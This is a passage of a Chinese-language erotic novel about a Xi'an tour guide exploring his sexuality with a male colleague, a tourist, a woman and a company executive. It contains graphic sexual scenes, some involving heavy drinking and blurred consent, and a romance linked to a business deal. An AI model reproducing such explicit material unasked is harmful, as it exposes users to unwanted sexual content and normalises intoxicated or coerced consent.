图片载入中

我们只有三次

特大字】 【大字】 【中字】 【小字

一、我也是gayman吗?

今天下午,小马约我去喝酒。我们是无话不谈的酒友和精神上的好友。在黑 格尔酒吧靠南边的一个小隔间里,一盘花生米两双筷子,还有每人面前的半杯黑 啤,这已经是第三杯,小马微微有点醉。从一进门到现在,小马一句话还没有说, 而我也没吭声。

“为什么他要离开我?我爱他,很爱!”小马低低的说:“从认识到现在已 经3年了,他为了钱可以不要我,离开我,钱就真的这么好?”小马红红的眼睛 看着我,已经有些潮湿。我不知怎样劝他,因为我的眼睛和耳朵已经跟了他们一 年,熟知这一年发生的一切。小马从对面坐到我的旁边,喝完了杯中的酒,眼睛 的醉意更深了。

“弘哥,我难受。”我拍着他的肩膀,想说些什么,小马的手放在我的腿上, 在我的大腿根轻轻的抚摩起来。忘了告诉你小马是gayman,我不是,但我 并不反感,而且我们还做了很好的朋友。可能象我这样能理解他们的人很少,所 以小马对我无秘密可言,并且把我当大哥对待。

我没有拿开他的手,也没有移开我的腿。不知是潜意识还是什么,我好象并 不讨厌同性之间的这种触摸,虽然我还没有体验过,我和小马也仅仅是好朋友。

小马的手在我的大腿根既续游走,并且有意无意触碰到我的阴囊、阴茎、龟 头。

虽然隔着裤子,可这种感觉还是很强,我硬了。这更刺激了小马的手,拉开 了裤链象蛇一样滑了进去,从底裤靠近腹股沟的一边强行突破,一把握住了肉棒, 开始上下套弄起来。我没有退缩,反尔向前挪了一下屁股靠在了沙发背上,这样 感觉更舒服、更爽。

小马的手很湿润、很软,握着我的肉棒上下滑动,一会又握住龟头来回转动, 就象拧螺丝。忽快忽慢,很有节奏。一阵快意从中间传遍全身,腿不由伸的笔直, 大腿肌肉颤动起来。我和异性没有过性接触,不知到是不是这种感觉,只是在心 情骚动时自己过过瘾,觉得有些相同又有些不同,这时的感觉更好、更强烈。

小马的手还在有节奏的动着并且加快了速度,我也不禁颤抖起来。这时幽门 一紧,我拿开了小马的手,直起身喝了一大口黑啤,稳定了一下心情,再动下去 我就射了。

小马眯着眼睛看着我,脸上露出一丝坏笑。我的脸很烫,这时如果有镜子, 我的脸一定很红。“小马,你醉了,回家吧!”我不由分说拉起小马走出黑格尔 的大门,拦了一辆出租把他塞了进去。

夜风轻轻的吹在脸上,很舒服……毕竟已经5月份了。我一边走着一边回想 在酒吧的经过,那一阵颤栗、麻麻的、痒痒的,弟弟又硬了起来,顶着裤裆像一 座火山。而火山也快喷发了。

路边是一排绿色的冬青隔离带,有半人高。我从一个缝隙挤了进去,靠着冬 青席地一坐,拉开了裤链一把掏出肉棒,一手握住根部,一手上下套弄起来。一 阵一阵的波浪,像闪电传遍全身。心慌、气短、难受,我一跃而起,对着冬青一 阵扫射,窒息了片刻,轻松随即传遍全身。虽然感到很爽,可是和小马套弄时的 感觉有些不同,我开始有些后悔让小马在酒吧里停手,并且还让小马自己回家。

一边提着裤子一边想着,猛一抬头,发现树对面站着一个人,眼睛直勾勾盯 着我,手在裆部不停的揉着。“看什么,没见过打飞机?”那人猛一惊,尴尬的 一笑,飞快地跑开了。我忍不住笑出声来。

洗完澡躺在床上,想着今晚的事情经过,忍不住大笑起来,特别是那个看我 手淫的男人,当时的表情,真让人……难道我也是同性恋?心里暗想:为什么会 有这样的感觉?希望小马不要走,并且希望小马为我手淫。 .这时《致爱丽丝》 轻柔的响起,我拿起手机接听,是旅行社社长打来的,明天有一个团,12人, 美国,从北京过来,让我明天中午11点接机。我问社长:“这个团不是给王明 了吗?”

社长笑了笑说:“明早来旅行社拿资料,就当帮我。”“司机是谁?”我问 :“是马大彭。”我也没在多说便挂了机。忘了自我介绍,我叫张弘,在中国旅 行社西安分社工作,是一名导游。小马是旅行社的豪华中巴司机,我俩经常搭档。

小马就是马大彭。我们社长跟我挺铁,虽说比我大10岁,今年35,可跟 我很谈的来,关系非同一般。

二、第一次同性性体验

第二天早上,来到社长办公室,社长将团队的资料给我,“王明到底怎么了?

说实话我不想接这个团,今天来是看着你的面子。“我对社长说道:社长拍 着我的肩膀”坐,谢谢你的帮忙,王明后院起火,老婆偷人,两口子正闹着呢。

我也是没办法。再说你不帮我谁帮?“”好了好了,没事我先走了。“

坐在办公桌前,仔细的看着资料。这个团有12人,三对夫妻,两个单身女 人,四个单身男人,其中一人是领对。再看全陪,原来是许世仙。熟人!我叫他 许仙。25岁。

以前来过几次西安,和我搭档过3回,这是一个很健谈的人,厚道老实。有 他在,这个团不难搞定。这时小马走过来,拉把椅子坐在我对面,眼睛眯着坏坏 的看者我,我面无表情问他:“有事?”小马面色一红,有点口吃的说:“弘哥, 团长跟你说了没,我俩搭档。几点走?”我一看表,已经九点半了,这就走。

坐在车上,我仍就看者手中的资料,小马有几次想说什么,但欲言又止。我 也没有理他。车上的气氛很沉重,这在平时是没有的,往常小马就像一座交通台, 唧唧姑姑说个不停,可今天就像吃了哑药,一声不吭。

快到机场了,小马再也忍不住了,“弘哥,昨晚真是对不起,我有点喝多了, 你不怪我吧?”

“昨晚怎么了?”我一本正经地说:“什么事跟我道歉。”

“就是——”

“过去了,还想它做什么,我没有怪你。”

“可你今天早上怎么怪怪的,我以为——”我大笑起来:“是你怪怪的看着 我,还说我怪”小马如释重负的松了口气,“那就好,我以为你生气不认我这个 弟弟了。那就好,那就好。”车里的空气顿时活跃起来。

到达机场离飞机降落还有20分钟,我让小马停好车,到机场商务中心办点 事。在那做了一些卡片,上面用中、英文写上这次团队住宿的酒店名称、大商场、 还有一些日常用语。

这是我一贯的做法,虽说是一件小事,但给游客带来许多方便,因此也受到 旅行社的表彰。等做完这些,广播也响起,飞机到了。我站在出口,举着写有中 旅的牌子。我的工作正式开始了。

乘客从出口慢慢出来了,一眼就看见许仙,还是老样子,带着一群老外正在 领行李。然后清点人数带者他们往出走。

“许仙”

“张弘,地接是你,真想不到,这次我就轻松喽”许仙夸张的笑着。

“介绍一下,这是这次的地接,张弘。这是领队,这是——”

我一一握手,一群老外,没有特色,突然眼前一亮,芭比娃娃,老天,就象 放大了的芭比娃娃,金色的头发、碧蓝的眼睛、鲜红的嘴唇、雪白的皮肤、玲珑 剔透的腰身,上帝呀!如果不是出于礼貌,真想把她拥进怀里,狠很地亲亲她。

“上车吧!”当大巴出了机场,按惯例先做一番开场白:“女士们、先生们, 你们好!欢迎你们来西安旅游,西安是一座————,下面我把这次的旅行安排 给大家讲一下,我们这次下榻友谊宾馆,下午参观陕西历史博物馆,晚上在唐乐 宫观看仿唐乐舞,第二天参观秦陵、兵马俑、华清池,晚上自由活动,第三天参 观半坡博物馆、碑林,下午两点的飞机。大家有什么问题,可以找许仙或者找我, 谢谢大家。”等讲完这些,车也进了西安。

安排完住宿,我告诉许仙下午3点车在门口等着,然后和他聊了聊,问了一 下游客的情况,3对夫妻没什么讲的,那两个年轻女子是同学,两个年轻男子是 兄弟,哪个老一点的是领队,还有一个很特别,从北京接机直到西安,他一直没 笑过,很忧郁。

下午的参观很顺利,不过我发现一些事情,兄弟里的老大—乔再追芭比,不 知是真心还是想给这异国之旅增加一点浪漫,而对他的弟弟马克并不关心,到是 许仙处处照顾他,好到两人的关系有点不对劲。

马克已经18岁了,这在美国已经是成年人,身体匀称、结实,发育的很好。 芭比的朋友对那个忧郁的年轻人展开了进攻,但是就像两辆背向而驶的火车,一 个有情、一个无意。真是一个有趣的团队。

晚上的节目还是老样子。就在将他们送回酒店我和小马准备离开时,许仙把 我拉到一边,悄声对我说“帮忙买半打安全套,大号、加长。”

我看着他两腿之间,疑惑地问到“你有那么大吗?”

“别开玩笑,那是为游客帮忙买的”许仙笑着回达。

“没问题!记着明早9点准时出发。”辛苦的一天终于结束了,为了明天方 便,小马晚上住在我那里,但什么也没有发生。

第二天匆匆忙忙又过去了,在酒店临下车许仙问我那有好的迪吧,我告诉他 们晚上九点来接他们。在‘红太阳’迪吧,一群人疯狂的蹦着,芭比的朋友看来 对忧郁者失去信心,那三对夫妻没有来,小马我没让他来,第二天还要开车,晚 上好好休息。

我对蹦迪向来没有兴趣,独自坐在吧台喝酒。这时我注意到忧郁者也没有去 跳舞,坐在吧台前一杯接一杯的喝着,而且还喝了不少,在喝下去情况会有所不 妙,出于责任,我走过去想同他聊聊,可忧郁者对我有所戒备,只是大口的喝者 酒。

这可难不道我,我有个绰号“心理医生”,因为我是一个很好的听众,而且 从来听过就忘,所以有许多人愿意把心理话讲给我听,也因此我有了许多的朋友, 同性的、异性的。

“出来旅行有两个目的,一是增长知识,二是缓解心理压力。”我点起一支 烟,幽幽的说者:“其实最好的释放方式,要么对着深深的大山或广袤的大海, 吼出你的心事,要么找一个人,把心理的想法讲出来,现在就有这么一个人,他 不想窥探你的隐私,也不想对你出什么主意,更不想左右你的行为,他只是一座 山、一片海、一个听众。”

忧郁一口气喝完杯中的酒,抬起头,迷蒙的双眼看了我很久,我也对视着他 的眼睛,“出去走走行吗?找一个安静的地方。”我说这离我的住处不远,如果 愿意,去我那,他点点头。

一壶清茶两个杯子,忧郁和我面对面坐着,把身体埋在宽大的沙发里。

“喝点茶,这样你会舒服一点。”忧郁拿起茶杯,喝了一口然后说了起来。“ 约翰死了。他是我最好的朋友,那天约翰约我吃饭,饭后我看时间还早,提议去喝 一杯,再酒吧约翰兴奋地告诉我他存了一笔钱,想去中国看看,如果可能,想去 中国进修《中国美术史》,并且研究一些中国特有的民间艺术。我听了很为他高 兴,就这样不知不觉两人喝的都有点多,从酒吧出来,我看约翰步态不稳,提出 我来开车,在回家的路上,突然一辆大卡车迎面开来,我想躲,可是手脚却不会 动。”

忧郁激动的大口喘着气,两行泪水从深蓝的眼睛里泻了出来。“这不是你的 错”

我说道。“是我的错,如果哪天我不提议喝酒,如果哪天不是我开车,而是 坐出租,约翰就不会死。”忧郁大声的喊着。我没有制止,喊出来,也许对他有 好处。

突然忧郁从沙发上站起来,我一看不妙,赶忙拉他去卫生间,刚一进门,一 股浊流喷涌而出,我的衣服、忧郁的衣服、和卫生间一片狼籍。忧郁跪在马桶前 一阵狂呕,待他平静下来,我对他说把衣服脱下来洗洗,冲个热水澡。忧郁羞涩 的一笑“对不起”,当我看到那笑容,我知道忧郁没事了。

我给他一件我的睡袍,并且把我俩的衣服放进洗衣机,等我冲完澡出来,忧 郁在沙发上睡着了。不能留他在这过夜,让他睡一会,等衣服干了,还是让他回 酒店。

我给许仙打了个电话,告知忧郁在我这,也没有多做解释。打开电视,又是 一群无聊的男女上演多角乱爱,再加上无休止的广告,让人不禁昏昏欲睡。

猛一醒来,乱爱还在上演,而肉棒却精神地耸立着,从睡袍中脱身出来。我 拿手轻轻的抚弄着,猛发现忧郁两只眼睛盯着我和那耸立的肉棒,不知什么时候 他醒了。我一笑。忧郁站起来,跪在我身前,用手握住我的肉棒,抬头看着我, 想起哪天在酒吧的事,我不禁鬼使神差的点点头,于是忧郁用嘴为我口淫。

轻轻的一点一点的吸进去,然后一点一点的拔出来,速度由慢逐渐加快,当 龟头从嘴里出来时,波的一声,就象开香槟酒的塞子。全身就象触了电似的一抖, 电量逐渐加强,抖动逐渐加快,麻麻的、胀仗,我不禁呻吟起来,一阵一阵的颤 栗,括约肌猛的一紧。忧郁停下来,他也感觉到了我的紧张。忧郁在沙发上躺下 来,头停在我的跨间,我发现忧郁的肉棒也涨大了,长长的、粗粗的,有点弯曲, 头部往上翘。我不禁用手握住它,轻轻的上下橹动,忽快忽慢,忧郁问我有没有 润滑剂,我说有乳液,在卫生间。忧郁拿来往他的肉棒上倒了一些,说这样感觉 更好一些。我给手上也抹了一些,然后握住阳具上下抽动起来,又用一只手握住 根部向下用力,另一只手握住龟头左右旋转,就象拧螺丝,忧郁也呻吟起来。

灵巧的舌头在蘑菇头上打转,渐渐下移,蛋蛋、腿根、然后…………。我双 腿一紧,忧郁在舔我的“那个”,并且还试着把手指往里深。“不要……”我猛 得喊出来。而忧郁吓的抬起头,深蓝的眼睛不解的看着我,满是疑惑。别以为我 不知道接下来是怎么回事,没吃过猪肉还没见过猪哼哼?

“我不习惯……”红着脸,找了一个最次的理由。

“没关系,你是第一次?动作很生疏。”蓝眼睛笑着,但没有嘲讽的意思。

“还继续吗?张。”忧郁的眼神很认真。

“呢……好……继续……”不就是从后面进去吗?看碟上做受的很舒服的表 情,应该不会差到那去,而且我真的很想体验一下,同性之间怎么做爱,(虽然 和女人做爱是怎么回事我还不知道)。或许我是想验证一下我是不是个玻璃。

“张,有安全套吗?”

“有。”拿了一个给忧郁。别瞪眼,这是给许仙买套时因为没零钱找而我又 不想等老板换零钱,所以就拿了二个顺手装兜里了,我真的很乖的,——-今晚 以前。

忧郁轻拍我的大腿,用手温柔的抚摸着,我太紧张了,腿部的肌肉紧绷。用 手轻轻的揉着,用嘴慢慢的吸着,我又一次沉浸在无边的爱欲里。低低的呻吟, 全身放松,舒服的闭上了眼睛。

阿…………怎么这样?紧紧的、热热的、还有一点痛?我睁开眼,看见忧郁 跨坐在我的身上,肉棒昂头看着我,而屁股却正慢慢的往下压,我的肉棒在…… 在……在忧郁的那个里。

“张,痛吗?”摇头又点头。

“舒服吗?”点头。

“我会温柔的,这是张的第一次,我会让张永远记住今晚的,还有幸福、高 潮的回忆”。

真的不同,感觉真的不同,比用嘴来的更刺激,比用手来的更猛烈。我沉沦 ……………………

天……为什么会是这样?为什么同性之间的爱会让我如此不能自己?我难道 真的是-同性恋??

三、寻求真解,我破处了……

飞机轰鸣的离去,送走许仙他们,我的这次工作完成。看着调查表上的很好、 满意的评语,真的好满足。不是吹的,我的服务是一流的,每次的接待我的评语 积分都是最高的,所以吗——年年我都是先进。

看着评语,我笑着。忧郁是这样写的:“上帝是什么?上帝在哪?我曾经寻 找,想解开我心中的痛。张真的很特殊,他不仅仅是导游,更像是上帝,带领我 们穿越黑暗,走向天堂。张很棒,服务真的很好。”

我真的有那么好?还是哪天晚上我真的很棒?

“弘哥,笑什么呢?什么事那么高兴?”小马不解的问。

“小马,我们为别人服务,要照顾他们的心情,要用最优质的服务来使他们 感到高兴,感到不虚此行,然后有人为我们的这次服务付钱,你说我们像什么人? ”小马更迷惑。“我们就像妓女,社长就像拉皮条的。”哈哈哈……只是调侃, 说笑的,我真的很喜欢我的工作。从没为此后悔过。

回到社里,交了调查表,回家补觉。“阿弘,过来一下。”是老李。就是李 子雄,我们的社长,我的铁哥们。

“什么事?我很累了,要回去补觉呢。”

“中午一起吃饭,给你介绍个美眉。”

“又介绍,饶了我吧,雄哥,如果想让我多活几年,就请放过我吧。”

“你敢不去,是不是不想活了?嗯……那这样吧,有一个团,40人,下午 到,你接待一下,社里没人了,就你一个来负责吧,我知道你的工作能力很强, 又赋有爱心,又…………”

“我去,我去,好了吧。卑鄙、下流、无耻………………”

“12。30,别忘了。喜来登大酒店。”

真的想K他一顿,这个变态。KKKKKKK。自从离婚后,就像变了一个 人,玩世不恭。整天给我介绍对象,以前也没见他这样过,这么知道关心兄弟。

每次见面、吃饭,总是三人行,还美其名曰:怕我年龄小,会吃亏,做哥哥 的不把关谁来把关。可每次那个发光、发亮的人感觉总是我,真的好可怜哪。

又是知道结果的会面。晚上坐在沙发上看着无聊的电视剧,忧郁不知现在怎 么样了?心结解开,以后会好一些了吧。那忧郁的蓝色的眼睛,“我会让张永远 记住这一晚的”。下面又硬了。不会的,我不会是同性恋的。只不过是生理的需 要,和女人我也会一样的。还硬着,我却不想打手抢。穿衣出门。

“黑格尔”酒吧,人还是那样的多。坐在吧台前,喝着黑啤。“弘哥,今天 没生意?”这臭小子,会说话吗。什么叫“没生意”?

“皮特,找打吧,怎么说话的,不想混了?”

“对不起了,弘哥,是小的说错话,该打。重说一遍。弘哥,今天没接客吧? 哈哈”这个皮特,嘴特贫。

我是“黑格尔”的老客户了,和这的经理、酒保都很熟。

“那今晚皮特就照顾一下哥哥的生意,不然哥哥就没钱付酒钱了,好吗?”

“我怕你打我,我还是处男呢。我找经理来照顾你吧。”

工作完,在这喝喝酒,和酒保聊聊天,真的很开心的。我是个好的“心理医 生”,可心理医生的心病谁来治呢?和小马,我是他的好哥哥,给他宽心,为他 解忧。和雄哥,是铁哥们,一起玩一起闹,心里的话又有谁可以来倾听?我真的 很孤独。一杯一杯的喝着,想着什么又好似什么都没想。

“先生,这有人吗?”一个甜甜的声音响起。我还没回答她已经坐我旁边了。

拿出烟叼在嘴上看着我,出于礼貌为她点燃。“先生,不请我喝一杯?先生 看来好寂寞哟。”为她要了酒。是不是鸡?我从来没干过那事,不敢确定,所以 也不敢乱开口。

“经常看见先生一个人来喝酒,也没有伴,像先生这样优秀的人,不会没人 爱吧?可能先生的眼光太高了。”哦,早就注意上我了,不如…………

“小姐今晚也一个人吗?”

“是呀,好寂寞的……”

“那去你那还是我那?”

“如果你那不方便就去我家吧”

结账走人,今晚就来个破处大行动,和女人应该也可以做吧。14楼的一个 越层,装修豪华,她不会是鸡吧,管它呢。该来的就让它来吧。具体的省略……

早上醒来,她在旁边静静的躺着,漂亮的眼睛看着我,她很年轻,很美。起 床穿衣,该不该给她钱?我在想。“先生是第一次吧,是不是在想该给多少钱?”

我的脸腾的红了。“走吧,如果想我了,在黑格尔你会找到我。”

“那我走了,再见。”

逃离。419,不知是我利用了她还是她利用了我?管它呢。反正我知道我 和女人也可以做爱的。感觉吗也还可以。看来我该找个女朋友,谈谈恋爱了。

四、我和小微谈恋爱

从那晚后的1个月,我没再去黑格尔酒吧,一是怕了皮特的嘴,哪天的事如 果要让他讲出来,要多龌龊有多龌龊。二是怕再遇上那个女人。更多的担心可能 是后者。我不是一个滥情的人,也不喜欢一夜情,那晚只是在特殊的心境下一个 特殊的男人遇上了一个特殊的女人,所以有再而三、三而四。

北方的初夏气候很宜人,天气不热,雨水不多。所以团队不断。而此时也是 我们最忙的时候。由于我的英语比较好,所以我做的大都是国外的团队,这类团 人数不是很多,而且大家的自律性好,守时、守纪,因此比较轻松,但客人的要 求很高,容不得半点马虎。

下午刚送走一个团,回到社里拿出第二天要接的团队的资料,好好的看看。

如时间安排、参观的景点、下榻的宾馆,还有人员构成、年龄等等,做到知 己知彼。这也是我年年能获先进的原因。

“阿弘,进来一下。”是老李,别又是给我介绍对象吧。

“雄哥,如果是介绍对象,请免开尊口。如果是加任务,我不能接受,如果 是要请我吃饭吗……快说时间、地点。”敢再加任务。我已忙的喘不过气来,再 加,小心我K你。心里暗暗恨到。

“真的是吃饭,晚上7:30,把你手头上的工作拿来给我,我从新安排人 来接。”亲亲的雄哥,是要给我放假吗?看来我的威胁你收到了,嘻嘻……到底 是哥们。

“还有一位赵小姐,A公司的公关部部长,他们有客人要在西安停留四天游 览,社里派你去负责,和赵小姐商量安排具体的事宜。”什么吗?原来是工作餐。

空欢喜一场。杀,面漏狰狞。

“怎么?有问题?知道你以前只干导游,现在给你机会干干推广,也不能总 是东奔西跑的吧,好好干,别让我失望阿。这可是别人想争也争不来的机会。”

“是,雄哥,我知道了。”

唉,我最怕与人打交道了,想方设法的把自己卖出去,还要处处看别人的脸 色说话、行事。老天爷,杀了我吧!

别急,老天爷,算我说错话。

这个赵雨薇真的不一般,年轻-比我还小一岁;漂亮-绝对让你眼前一亮; 可人-说话有分寸、语气轻柔,更重要的是没有那种盛气凌人的感觉,和她交谈 很舒服、很放松。

一边吃饭一边交换基本信息,有四个人,年龄在40~50之间,高学历。 对历史、人文比较感兴趣,用车由A公司负责,客人的满意度为第一,费用 第二,更重要的是她会全程陪同。

“赵小姐,计划和费用明天中午就可以做好,什么时候给你拿过去?”

“下午1:00,我们在细节处再商讨一下,然后我会报老总审批,客人后 天就到,时间很紧,你能按时做好吗?”

“没问题,一定会让你们的客人满意的。”

第二天见面,看过我的计划,赵雨薇对她昨天的话向我道歉。计划一字未改, 老总也很满意。

“对不起,昨天说话有些过分,我怀疑了你的能力。”

“没关系,能力不是用嘴说的,能跟你合作真的很高兴。”

“我也一样,祝我们合作愉快。”

或许一份恋情就这样展开了,我喜欢她,她好像也不讨厌我。

匆忙的四天结束了,客人们对这次行程很满意,我也很自豪。工作结束后, 我第一次约了小薇,她没有拒绝欣然接受。从那以后,在咖啡馆放松心情,在东 大街陪她购物,她喜欢的我接受,她厌恶的我改正,我恋爱了。在古城墙上,看 着夜色中的西安,是那么的美,那一份古朴与现代的相互交融就如同我身旁的小 薇,体现的是那么的完美无缺。

“小薇,我爱你”

“嗯……”

“小薇,你爱我吗?”

“弘,我喜欢你”

噢……喜欢,只是喜欢。我想对于我来说,真的没有资格让她来爱,但我会 努力,努力让她爱上我。

不知不觉和小薇已相识了三个月,秋季的西安已有些微寒,还有时不时的飞 沙。昨天小薇第一次失约了,我知道以后还会有第二次、第三次。爱情是否也随 季节的变换,从夏季的热情似火到秋季的落叶飘零。

“弘,我想我不太适合你。做不成恋人,我们还是朋友,是吗?”会吗?连 拒绝别人都不会伤人。我知道不是你不适合我,而是我配不上你。我知道爱情要 门当户对,更何况现在的社会,没有公主爱上青蛙的故事了,除非你是被施了咒 语的王子,等着公主用吻来解救。可我知道我不是。

不过真的奇怪,当小薇决绝我时,我心里只是有点淡淡的失落,却没有心痛。

是我爱的不够深还是根本就没爱过。原来“我爱你”也是可以用来欺骗的, 欺骗自己的心。

真的和小薇做了朋友,空闲时我们还会一起喝咖啡,一起逛街,好像和从前 一样,只是不谈爱。以前谈过爱吗?细细想来没有,只是自己骗自己罢了。我不 会爱。这就是我的初恋。

雄哥一直以为我在和小薇谈恋爱,把我的工作减少许多为我创造条件。对于 自己的兄弟能找到真爱,找到幸福,也是他的愿望吧。小马却有些不悦,好像在 吃醋,吃小薇的醋。因为有人分享了自己哥哥的爱。就这样也许对小马好一些, 对于他的爱,我不能接受,也不愿他陷的太深。

我让雄哥失望了。我让小马也失望了。

五、一见倾心

天越来越冷了,旅行社的生意也淡了许多。我有了更多的时间来思考我的未 来。天气对于爱情的影响只是会在我身上发生。小马很忙,快半个月没和我见面 了,我想是否新的恋情已发生。小薇也很忙,忙着追求她的幸福,是她们公司新 来的副总,是从上海分公司派驻来的。闲的只有我,每天睡觉、听音乐、看书, 不知不觉腰粗了一圈。

站在浴室的镜子前细细的打量,180cm的身高,70kg的体重,胖瘦 合适。屈肘,二头肌高高隆起,胸大肌线条分明。腹肌,却已有了些赘肉。身躯 是如此的年轻和富有活力,可我的心却有如风烛残年的老人。张弘,难道爱情对 你是如此的重要?时不时玻璃又有什么关系?爱自己,开心的生活,才是真的你 呀!

重又站在历史博物馆的门前,这是我常来的地方。背着如程式般的讲解词, 却猛然发现自己是如此的无知。我以为我知道了许多,了解了许多,这时才发现 在悠悠五千年的文明面前,我的所知有如沧海一粟。从此每天上午在博物馆吸取 营养,下午在健身房挥汗如雨,晚上要么去黑格尔打打嘴仗,要么在家听听音乐, 让灵魂高飞。生活真的很美,只是在于你怎么去发现罢了。我从又找回了我的生 活。

现在最头痛的可能是雄哥了,如何让旅行社在淡季有钱可赚,是他的一个难 题。“叮……叮……”手机响了,陕西这地方就是邪,说曹操,曹操就到。

“雄哥,近来好吗?怎么想起给兄弟打电话了?”

“你明天来旅行社和一趟,有急事。”

“是不是有团,人员应该很富裕吗?”

“你那来那么多的废话,不来小心我扁你。”

“好好,我来不行吗。”

逗他发急是我的一大乐趣,虽然很多时候偷鸡不成反蚀把米。原来A公司有 项员工福利,推广部想把这单生意做成,可那个谭总不是嫌计划不好,就是时间 安排不开,让推广部的男男女女眼都绿了。

“阿弘,你上次给他们做的那个计划他们老总很欣赏,再加上小薇,你给咱 出马吧。”

“雄哥,我和小薇早就不是恋人了,再说她现在正在热恋中,哪有闲心管这 些?你饶了我吧。”

“你们不是还是朋友吗?帮哥哥一次,这可是大生意,做成了大家都好过。

如果成了,你说什么,哥哥就给你做什么。“

“真的?如果成了,你给我跳脱衣舞。”

“行阿,给我兄弟看,没问题。”

可我真的没有把握,A公司的那个谭总我只见过一次,年龄只有50多,可 心态足有70。秦砖汉瓦一块,他们香港总公司是不是眼光有问题?上次是因为 接待的客人非同一般,而这次…………

唉,别想那么多了,现在他是爷,咱是孙子。干吧。

“雄哥,把计划给我看看。”

结果不出意外,K。只好找小薇,小薇说她更没办法。她最近在和副总谈恋 爱,而且自从副总来了以后,公司流传谭总将要被解职,所以他的心情很不好, 你们的计划才会被否定。而她更说不上话,因为……。我明白,看来大话说早了, 回去覆命吧。

“张弘,其实还有一个办法,就看他帮不帮你。”

“什么办法?那个人是谁?”

“欧阳于飞,公司的副总。”

“他说话有分量吗?”

“那要看他想不想说。虽说现在公司的决策权在谭总手上,可是欧阳的身份 却非同一般。”

“哦?”

“在公司只有我一个人知道,他是我们公司董事长的三公子,欧阳是他的母 姓。”

“那你能帮我介绍一下吗?事成不成都先谢谢你。”

“谢什么?不过见面后不要点明他的身份,因为他自认为保密工作做的好。

见面后就看你的了。“

“好,我守口如瓶。”

这个小薇真的不简单,原以为她吊了个黄金王老五,却是个钻石王老五。厉 害。不管结果如何,死马当活马医吧。

修长的身材,比我还要高,但好像没我块。浓黑的头发有些自来卷,但很整 齐。面孔白皙,鼻梁高而挺,嘴唇红润。真漂亮,比小薇有过之而无不及。特别 是那种气质,常说一个贵族的培养需要三代人的努力,这话一点没错。不对呀, 他可是男人耶!昏!眼里光芒一闪,我的脸却红了个通透。以前见小薇也没有过 这样的心动。互相介绍,说着客套话。

“张先生,计划带来了吗?我可否看看?”没问题,见你就为了这事。

“虽说我是副总,可决策权在谭总手里,怎么会找上我?”

“听小薇讲欧阳先生是一个富有魅力的领导,所以想认识一下,你刚来西安, 可能还没转过吧,如果你对历史或是遗址感兴趣,我可是一个不错的向导。”

笑笑没在说话,小薇很腻的靠在欧阳的身上,我知趣的告辞。

真是一个不可琢磨的人,怎么看小薇都是在单恋,要获得这样一个男人的心, 真的不容易。小薇,你可要努力阿。如果他是个女的,我也会爱上他的,一定会。

因为他让我心动。让我见过一面就念念不忘的人;让我的心里产生占有欲的 人;让我…………

“砰…………”痛。谁把电话亭立在路中间?

六、爱你,就是同性恋,那我就是了……

第二天在焦急中等待,欧阳于飞真如小薇所说是A公司董事长的三公子?他 真的有那个能力?外表阴柔的他,在眼神的不经意间流露的却是强悍,给人一种 压迫的感觉,也许他真的可以办到。

“是张弘先生吗?是否有空出来喝茶?”

“没问题,现在吗?”

“我在金屋等你。”

我现在是太有时间了,金屋,名字虽俗,却是品茶聊天的好地方。匆匆赶到, 欧阳于飞已经在包厢中等着了。“对不起,来晚了。”“没关系,我也刚到。”

相对坐着,谁也没说话。看着茶博士一招一式的沏茶,听着古筝弹奏的“高 山流水”。

“请”茶很香,味微苦,但在唇齿间留下甜香。

“张弘,我喜欢你,我们做朋友好吗?” 大惊!不会吧!做朋友我求之不 得,但为什么要加上‘我喜欢你’。可看他的眼神不像在调侃,是真诚和渴求。

“嗯……我……你……小薇今天没来?”

“和她有什么关系?”

“你们不是恋人吗?”

“是小薇告诉你的吗?我说她是在单恋,我对她没兴趣,你相信吗?”

我信吗?相信小薇说的他们在恋爱,相信他是三公子。还是相信他所说,他 喜欢我。晕!特晕!

“这算不算是交换条件?”

“昨天见到你,就被你深深吸引,你的活力、自信和健康。喜欢你,也希望 你能喜欢我。如果你认为我所说的话是交换条件,那就是吧。”老天!为什么说 的那么露骨,虽然我第一眼也被你吸引,也喜欢上了你,可也别用这种方式呀, 感觉自己好像在出卖。怎么办?

“如果……我不同意……,计划是否就不会通过?”

“弘,我知道你喜欢我,你的眼睛不会骗人,没有如果,你必须爱上我,因 为我爱你。”

抓住我懂得手,眼里的是真诚。即而是欣喜。我好像没点头,我好像没答应。

天!我真的满心欢喜,为什么要为难自己的心,我真的喜欢他呀!!!不知 什么时候,外面弹奏起了“十面埋伏”。

计划通过,合约已签。

“阿弘,你是怎么办到的?”哼!能告诉你吗?美男计。

“阿,也没什么拉,就这样了。”

“高,实在是高。哥今晚请你吃饭。”唉!某人好像忘了什么。

“雄哥,关于那个脱衣舞,是现在还是晚饭后表演?”

“没问题,饭后桑拿,让你大开眼界。”倒!还是别看了,他那一身肉。唉!

每次战斗,为什么失败的总是我?我不甘心。不过真的好怪,和雄哥还有小 马都曾经赤裸相对过,从没有过那样的念头。即使他衣冠楚楚,我也会心动加速, 热血下拥。难道同性恋还有针对性。

谁来给我答案。

黑格尔酒吧,靠窗的座位,一碟花生,一扎黑啤。

“弘哥,你是不是恋爱了?”

“是,和小薇,你知道的。”

“不是她,你们那也叫谈恋爱?男孩女孩过家家。”看来那段恋情真的是自 欺欺人。

“老实交待,到底是谁?”

“小飞”

“看来很爱他么,你知道你近来眼睛真的是柔情似水。”怎么有股浓浓的醋 味。

“是个男的吧?”小马怎么知道?

“我见过你们二次,每次你的眼里只有他,哪能看见别人。”好酸。

“你也是同性恋?”我不知道,可能对于欧阳于飞,我是。

“那弘哥为什么不接受我的爱?”

“小马,从认识哪天起,你就叫我哥,我也是你哥,但不是这种感情。这你 是知道的。你就像我的弟弟,让哥关心、让哥照顾的弟弟,以后也这样,不好吗?”

沉默……

“嗯,我明白了。他爱你吗?”

“爱,很爱。”

“你们接过吻吗?”

“接过,很美。”

“你们上过床,做过爱吗?”

“没有。”

“你是攻还是受?”

“什么是攻和受?”

“攻就是进攻的一方,就像男人。受就是接受的一方,就像女人。”

“我是攻,不喜欢做受。”那上次和忧郁我就是攻。不过如果我爱的人是攻, 为他我愿意受。

“小马,攻和受那个感觉好?”

“都好,特别是做受,真的很刺激,很舒服的。”

真的吗?怎么看小马的表情怪怪的,不会是…………今天小马成了我的性学 老师了。

这样的日子真的很幸福。

七、谁攻?……谁受?

小薇约我出去谈谈,我知道这一天迟早会来,是福不是祸,是祸躲不过。

“张弘,你知道我和欧阳在谈恋爱,为什么还要插上一脚,而且你是个男人, 真不要脸。”唉!为什么女人在爱情面前就像个白痴,而她此时就像个泼妇。

“因为欧阳爱我,我也爱他。”

